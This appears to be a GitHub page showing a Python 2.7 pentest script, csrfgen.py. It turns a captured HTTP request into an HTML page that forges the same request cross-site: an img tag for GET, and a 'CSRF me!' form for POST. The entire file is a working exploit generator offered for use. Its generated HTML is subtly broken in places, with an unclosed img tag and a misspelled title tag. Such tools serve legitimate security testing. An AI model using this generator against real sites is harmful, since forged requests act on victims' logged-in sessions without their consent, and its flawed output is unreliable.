-
-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathcsrfgen.py
More file actions
executable file
·208 lines (171 loc) · 5.13 KB
/
csrfgen.py
File metadata and controls
executable file
·208 lines (171 loc) · 5.13 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#!/usr/bin/python2.7
# Python - CSRFGenerator
# Author: Sebastian Neef - Internetwache.org
# Twitter: @internetwache
# Comment: Happy Hacking!
import sys
import urllib
class CSRFGenerator(object):
def __init__(self):
self.__init()
def __init(self):
self.__rawRequest = ""
self.__method = ""
self.__url = ""
self.__host = ""
self.__port = ""
self.__contentType = ""
self.__postParameters = []
self.__csrfPoC = ""
def readFromFile(self,file):
try:
self.__rawRequest = open(file,"r").read()
return True
except:
return False
def __analyzeRequest(self):
lines = self.__rawRequest.split("\n")
for i in range(len(lines)-2):
line = lines[i]
try:
if("HTTP/1" in line):
if(self.__rawRequest[:3]=="GET"):
self.__method = "GET"
elif(self.__rawRequest[:4]=="POST"):
self.__method = "POST"
else:
return False
self.__url = self.__URLDecode(line.split(" ")[1].strip())
if("Host:" in line):
self.__host = line[5:].strip()
if("Content-Type:" in line):
self.__contentType = line[13:].strip()
except:
return False
try:
#Params should be in the last line
line = lines[len(lines)-1].strip()
params = line.split("&")
for param in params:
try:
var, value = param.split("=")
self.__postParameters.append([var,self.__URLDecode(value)])
except:
pass
except:
return False
return True
def __URLDecode(self,url,encoding="utf8"):
return urllib.unquote(url).decode(encoding)
def __parseRequest(self):
if(not self.__analyzeRequest()):
return False
else:
return True
def generatePoC(self):
if(not self.__parseRequest()):
return False
if(self.__method=="GET"):
self.__generateGETPoC()
elif(self.__method=="POST"):
self.__generatePOSTPoC()
else:
return False
return True
def __generateGETPoC(self):
html = \
"""
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<img src="http://"""+ self.__host + self.__url +""""
</body>
</html>
"""
self.__csrfPoC = html
return True
def __generatePOSTPoC(self):
html = \
"""
<html>
<head>
<tilte>CSRF Poc</title>
</head>
<body>
<form action="http://"""+ self.__host + self.__url +"""" method="POST" id="hackme" >\n{{REPLACE}}
</form>
<button onclick='document.getElementById("hackme").submit()'>CSRF me!</button>
</body>
</html>
"""
params = ""
for pair in self.__postParameters:
try:
params += "\t\t<input type='text' name='"+pair[0]+"' value='"+pair[1]+"' />\n"
except:
pass
self.__csrfPoC = html.replace("{{REPLACE}}",params)
return True
def setRequest(self,request):
self.__rawRequest = request
def writeToFile(self, file):
try:
handle = open(file,"w")
handle.write(self.__csrfPoC.encode('utf8')+"\n")
handle.close()
return True
except:
return False
def getRequest(self):
return self.__rawRequest
def getMethod(self):
return self.__method
def getURL(self):
return self.__url
def getHost(self):
return self.__host
def getFullURL(self):
return self.__host + str(self.__port) + self.__url
def getPort(self):
return self.__port
def getContentType(self):
return self.__contentType
def getPostParams(self):
return self.__postParameters
def getCSRFPoC(self):
return self.__csrfPoC
def usage():
desc = \
"""[*] Usage: ./""" + sys.argv[0] + """ [PoC]
[-] PoC: File to write the CSRF PoC - Default: csrf.html
"""
print desc
def main():
print "[*] Started CSRFGen"
if len(sys.argv) == 2:
if ((sys.argv[1]=="-h") or (sys.argv[1]=="--help")):
usage()
sys.exit(1)
print "[*] Use -h/--help for more information"
if len(sys.argv) == 2:
csrf_poc_file = sys.argv[1]
else:
csrf_poc_file = "csrf.html"
csrf_file = "csrf.txt"
print "[*] Generating PoC"
status = True
poc = CSRFGenerator()
status &= poc.readFromFile(csrf_file)
status &= poc.generatePoC()
status &= poc.writeToFile(csrf_poc_file)
if not status:
print "[*] Something went wrong :("
else:
print "[*] Successfully created PoC!"
print "[*] Showing PoC"
print poc.getCSRFPoC()
print "[*] Finished!"
sys.exit(1)
main()